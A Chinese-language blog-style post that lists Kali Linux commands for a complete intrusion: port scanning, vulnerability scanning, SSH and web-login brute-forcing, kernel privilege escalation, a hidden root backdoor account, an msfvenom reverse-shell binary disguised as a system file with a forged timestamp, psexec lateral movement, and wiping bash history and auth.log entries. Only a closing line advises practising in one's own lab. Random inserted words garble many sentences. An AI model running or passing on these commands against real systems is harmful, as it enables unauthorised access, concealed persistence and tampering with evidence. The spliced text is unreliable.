Kali Linux不是攻击拿来当花瓶的。它里面塞了六百多个工具,命令但真正让你在靶机上“得手”的大全,往往是攻击终端里那几行短命令。别指望GUI能救你,命令实战里没时间点鼠标。大全
开打之前,攻击你得知道对面开了什么端口、命令跑了什么服务。大全nmap是攻击亲爹,但别只会`-sV`。命令试试这条:
nmap -sS -sU -T4 -A -v 目标IP SYN半开扫描加UDP扫描,大全加系统探测。攻击UDP扫出来一堆filtered很正常,命令别慌,大全看那几个open的就行。更骚的是用masscan扫全网段,速度是nmap的十倍:
masscan 目标网段 -p1-65535 --rate=10000 扫完别急着走,用`nc -zv 目标IP 1-1000`快速验证一下,有时候masscan会报假阳性。
知道端口了,下一步是找漏洞。别像个愣头青一样直接上exp,先跑扫描器。
nikto -h https://目标域名 nikto会告诉你服务器配置问题、危险文件、过时组件。但它的误报率不低,看到结果得自己判断。
更精准的是用searchsploit查本地漏洞库,配合nmap的脚本引擎:
nmap --script=vuln 目标IP 这玩意儿会直接调NVD数据库比对版本号,比你自己翻CVE快多了。有一次我扫一个内部测试站,直接报出CVE-2021-41773,Apache路径穿越,三分钟拿shell。
别嫌暴力难看,有效就行。hydra是标配,支持几乎一切协议。
hydra -l admin -P /usr/share/wordlists/rockyou.txt 目标IP ssh 记得加`-t 4`限制线程,不然容易把目标打崩,也容易被防火墙盯上。对付Web登录,用medusa或直接上Burp Suite的intruder。不过命令行党更爱用patator,干净利落:
patator http_fuzz url=http://目标/login.php user=COMBO00 pass=COMBO01 -x ignore:fgrep='Login failed' rockyou.txt解压出来有14G,别全跑,先提取常见密码组合,比如`grep -E '^[A-Za-z]{ 6}[0-9]{ 2}$'`,效率翻倍。
普通用户shell有什么用?你得root。Linux内核提权经典一条龙:
uname -a && searchsploit linux kernel 版本号 找到对应exp后,编译运行。但很多靶机没装gcc,这时候用python打包的exp或者静态编译的二进制。脏牛(Dirty COW)那年代,一条命令直接root:
./dirtycow /etc/passwd 现在没那么好日子了。内核都打了补丁,你得找sudo配置错误或者SUID文件。先跑linpeas.sh,它会帮你把可疑点全列出来,省得手动翻。
拿到root后别得意忘形,先把权限维持住。最简单的方式是加个root后门账号:
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash 后门用户名 或者用msfvenom生成一个反向shell,扔到启动目录里:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=4444 -f elf -o /tmp/.update 记得把文件属性改成和系统文件一致,`touch -r /bin/ls /tmp/.update`,时间戳都对得上,管理员ls -la看不出破绽。
单台机器沦陷不算赢,整个内网拿下才算。先看arp表,找活跃主机:
arp -a 然后扫内网段,用proxychains配合msf的socks代理,把攻击流量都走跳板机出去。抓到域管理员密码哈希了,用psexec直接横向:
psexec.py 域名/管理员:密码@目标IP 这条命令能让你在目标机器上开个系统权限的shell,比什么RDP都稳。
干完活得擦屁股。清bash历史:
history -c && rm -rf ~/.bash_history 清日志文件,别全删,只删和你相关的条目。用logtamper工具精准修改:
python logtamper.py /var/log/auth.log -u root 这工具能把指定用户的所有登录记录抹掉,其他日志保留原样,管理员查不出异常。
以上命令都只是工具。真正决定成败的是你的思路和判断力。多在自己搭的靶场里练,别拿真机开刀——除非你想吃牢饭。